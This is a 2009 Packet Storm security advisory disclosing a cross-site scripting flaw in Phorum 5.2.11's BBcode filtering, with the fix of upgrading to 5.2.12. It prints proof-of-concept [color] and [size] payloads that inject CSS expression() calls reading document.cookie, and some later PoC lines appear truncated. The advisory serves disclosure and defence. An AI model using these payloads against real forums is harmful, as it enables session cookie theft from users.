Phorum 5.2.11 Cross Site Scripting

Type packetstorm
Reporter crashfr
Modified 2009-07-22T00:00:00


                                            `//----- Advisory  
Program : Phorum 5.2.11  
Homepage :  
Discovery : 2009/07/16  
Author Contacted : 2009/07/17  
Found by : crashfr at sysdream dot com  
This Advisory : crashfr at sysdream dot com  
//----- Application description  
Started in 1998, Phorum was the original PHP and MySQL based Open Source  
forum software. Phorum's developers pride themselves on creating message  
board software that is designed to meet different needs of different web  
sites while not sacrificing performance or features.  
//----- Description of vulnerability  
Phorum's filtering engine insufficiently filters some BBcode arguments.  
Using the bbcode tags [color] and [size] it is possible to execute Javascript  
using expression CSS property.  
//----- Proof Of Concept  
When the user post the following bbcode :  
[color=#000000;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/color]  
[size=20px;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/size]  
The application convert it into the follow HTML code :  
<span style="color:#000000;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>  
<span style="font-size: 20px;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>  
For IE6 you can use this POC:  
Testing IE6[/color]  
For IE7:  
[color=#000000;xss:expression(alert('Sysdream_IE7_Alert'));]Sysdream Testing   
Obviously, the POC doesn't work in IE8 and Firefox.  
But, but , but...  
Uploading htc (for IE8) or xml (for FF) file on the phorum using the "My   
Files" function in "Control Center", you can use :  
POC for FF:  
Testing FF[/color]  
POC for IE8:  
Testing FF[/color]  
//----- Impact  
This vulnerability can be used to modify the phorum display, to gather the victim's cookie, etc.  
//----- Solution  
Upgrade Phorum to 5.2.12  
//----- Credits  
crashfr at sysdream dot com  
//----- Greetings